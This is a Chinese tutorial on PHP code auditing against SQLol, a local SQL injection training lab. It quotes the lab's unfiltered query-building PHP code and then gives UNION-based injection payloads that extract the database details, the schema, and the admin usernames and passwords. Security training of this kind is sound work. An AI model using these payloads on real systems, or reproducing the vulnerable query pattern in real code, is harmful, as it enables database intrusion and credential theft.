0x01 背景
首先恭喜Seay法師的力作《代碼審計:企業級web代碼安全架構》,讀了兩天後深有感觸。想了想自己也做審計有2年了,決定寫個PHP代碼審計實例教程的系列,希望能夠幫助到新人更好的瞭解這一領域,同時也作爲自己的一種沉澱。大牛請自覺繞道~
0x02 環境搭建
PHP+MySql的集成環境特別多,像PhpStudy、Wamp和Lamp等下一步下一步點下去就成功安裝了,網上搜索一下很多就不贅述。
這裏提的環境是SQLol,它是一個可配置的SQL注入測試平臺,包含了簡單的SQL注入測試環境,即SQL語句的四元素增(Insert)、刪(Delete)、改(Update)和查(Select)。
PS:什麼都沒過濾的情況太少了,現在再怎麼沒有接觸過安全的程序員都知道用一些現成的框架來寫代碼,都有過濾的。所以這個平臺主要訓練在各種情況下如何進行sql注入以及如何寫POC。
①源碼我打包了一份:http://pan.baidu.com/s/1nu2vaOT
②解壓到www的sql目錄下,直接打開http://localhost/sql即可看到如下界面:
0x03 漏洞分析
首先看下源碼結構,比較簡單,只有一個include文件夾包含一些數據庫配置文件:
這裏進行簡單的源碼分析,看不懂就略過以後再看~
1.看select.php文件,開始引入了/include/nav.inc.php
<?php include('includes/nav.inc.php'); ?>
2.跟進nav.inc.php文件,發現該文件是select的核心表單提交頁面以及輸入處理程序:
表單的輸入處理程序比較簡單,主要是根據你表單的選擇作出相應的過濾和處理,如下
<?php
$_REQUEST = array_merge($_GET, $_POST, $_COOKIE);
if(isset($_REQUEST['submit'])){ //submit後,開始進入處理程序
switch($_REQUEST['sanitize_quotes']){ //單引號的處理,表單選擇不過濾,就是對應none,新手看不懂可以學好php再回來
case 'quotes_double':
$_REQUEST['inject_string'] = str_replace('\'', '\'\'', $_REQUEST['inject_string']);
break;
case 'quotes_escape':
$_REQUEST['inject_string'] = str_replace('\'', '\\\'', $_REQUEST['inject_string']);
break;
case 'quotes_remove':
$_REQUEST['inject_string'] = str_replace('\'', '', $_REQUEST['inject_string']);
break;
}
//對空格的處理,如果參數中沒有spaces_remove或者spaces_remove!=on就不會過濾空格
if(isset($_REQUEST['spaces_remove']) and $_REQUEST['spaces_remove'] == 'on') $_REQUEST['inject_string'] = str_replace(' ', '', $_REQUEST['inject_string']);
//黑名單關鍵字的處理,文章用不上,略過...
if(isset($_REQUEST['blacklist_keywords'])){
$blacklist = explode(',' , $_REQUEST['blacklist_keywords']);
}
//過濾級別,新手可以不用管,略過...
if(isset($_REQUEST['blacklist_level'])){
switch($_REQUEST['blacklist_level']){
//We process blacklists differently at each level. At the lowest, each keyword is removed case-sensitively.
//At medium blacklisting, checks are done case-insensitively.
//At the highest level, checks are done case-insensitively and repeatedly.
case 'low':
foreach($blacklist as $keyword){
$_REQUEST['inject_string'] = str_replace($keyword, '', $_REQUEST['inject_string']);
}
break;
case 'medium':
foreach($blacklist as $keyword){
$_REQUEST['inject_string'] = str_replace(strtolower($keyword), '', strtolower($_REQUEST['inject_string']));
}
break;
case 'high':
do{
$keyword_found = 0;
foreach($blacklist as $keyword){
$_REQUEST['inject_string'] = str_replace(strtolower($keyword), '', strtolower($_REQUEST['inject_string']), $count);
$keyword_found += $count;
}
}while ($keyword_found);
break;
}
}
}
?>
3.我們再返回到select.php,發現後面也有個submit後表單處理程序,判斷要注射的位置並構造sql語句,跟進看下:
<?php
if(isset($_REQUEST['submit'])){ //submit後,進入處理程序之二,1在上面
if($_REQUEST['location'] == 'entire_query'){//判斷是不是整條語句都要注入,這裏方便學習可以忽略不管
$query = $_REQUEST['inject_string'];
if(isset($_REQUEST['show_query']) and $_REQUEST['show_query']=='on') $displayquery = '<u>' . $_REQUEST['inject_string'] . '</u>';
} else { //這裏是根據你選擇要注射的位置來構造sql語句
$display_column_name = $column_name = 'username';
$display_table_name = $table_name = 'users';
$display_where_clause = $where_clause = 'WHERE isadmin = 0';
$display_group_by_clause = $group_by_clause = 'GROUP BY username';
$display_order_by_clause = $order_by_clause = 'ORDER BY username ASC';
$display_having_clause = $having_clause = 'HAVING 1 = 1';
switch ($_REQUEST['location']){
case 'column_name':
$column_name = $_REQUEST['inject_string'];
$display_column_name = '<u>' . $_REQUEST['inject_string'] . '</u>';
break;
case 'table_name':
$table_name = $_REQUEST['inject_string'];
$display_table_name = '<u>' . $_REQUEST['inject_string'] . '</u>';
break;
case 'where_string':
$where_clause = "WHERE username = '" . $_REQUEST['inject_string'] . "'";
$display_where_clause = "WHERE username = '" . '<u>' . $_REQUEST['inject_string'] . '</u>' . "'";
break;
case 'where_int':
$where_clause = 'WHERE isadmin = ' . $_REQUEST['inject_string'];
$display_where_clause = 'WHERE isadmin = ' . '<u>' . $_REQUEST['inject_string'] . '</u>';
break;
case 'group_by':
$group_by_clause = 'GROUP BY ' . $_REQUEST['inject_string'];
$display_group_by_clause = 'GROUP BY ' . '<u>' . $_REQUEST['inject_string'] . '</u>';
break;
case 'order_by':
$order_by_clause = 'ORDER BY ' . $_REQUEST['inject_string'] . ' ASC';
$display_order_by_clause = 'ORDER BY ' . '<u>' . $_REQUEST['inject_string'] . '</u>' . ' ASC';
break;
case 'having':
$having_clause = 'HAVING isadmin = ' . $_REQUEST['inject_string'];
$display_having_clause = 'HAVING isadmin = ' . '<u>' . $_REQUEST['inject_string'] . '</u>';
break;
}
$query = "SELECT $column_name FROM $table_name $where_clause $group_by_clause $order_by_clause ";
/*Probably a better way to create $displayquery...
This allows me to underline the injection string
in the resulting query that's displayed with the
"Show Query" option without munging the query
which hits the database.*/
$displayquery = "SELECT $display_column_name FROM $display_table_name $display_where_clause $display_group_by_clause $display_order_by_clause ";
}
include('includes/database.inc.php');//這裏又引入了一個包,我們繼續跟進看看
}
?>
4.跟進database.inc.php,終於帶入查詢了,所以表單看懂了,整個過程就沒過濾^ ^
$db_conn = NewADOConnection($dsn);
print("\n<br>\n<br>"); if(isset($_REQUEST['show_query']) and $_REQUEST['show_query']=='on') echo "Query (injection string is <u>underlined</u>): " . $displayquery . "\n<br>"; $db_conn->SetFetchMode(ADODB_FETCH_ASSOC); $results = $db_conn->Execute($query);
0x04 漏洞證明
1.有了注入點了,我們先隨意輸入1然後選擇注射位置爲Where子句裏的數字,開啓Seay的MySql日誌監控:
2.SQL查詢語句爲:SELECT username FROM users WHERE isadmin = 1 GROUP BY username ORDER BY username ASC
根據MySql日誌監控裏獲取的sql語句判斷可輸出的只有一個字段,然後我們構造POC:
-1 union select 222333#
找到輸出點“222333”的位置如下圖:
3.構造獲取數據庫相關信息的POC:
-1 union select concat(database(),0x5c,user(),0x5c,version())#
成功獲取數據庫名(sqlol)、賬戶名(root@localhost)和數據庫版本(5.6.12)如下:
4.構造獲取數據庫sqlol中所有表信息的POC:
-1 union select GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x73716C6F6C#
成功獲取數據庫sqlol所有表信息如下:
5.構造獲取admin表所有字段信息的POC:
-1 union select GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x61646D696E#
成功獲取表admin所有字段信息如下:
6.構造獲取admin表賬戶密碼的POC:
-1 union select GROUP_CONCAT(DISTINCT username,0x5f,password) from admin#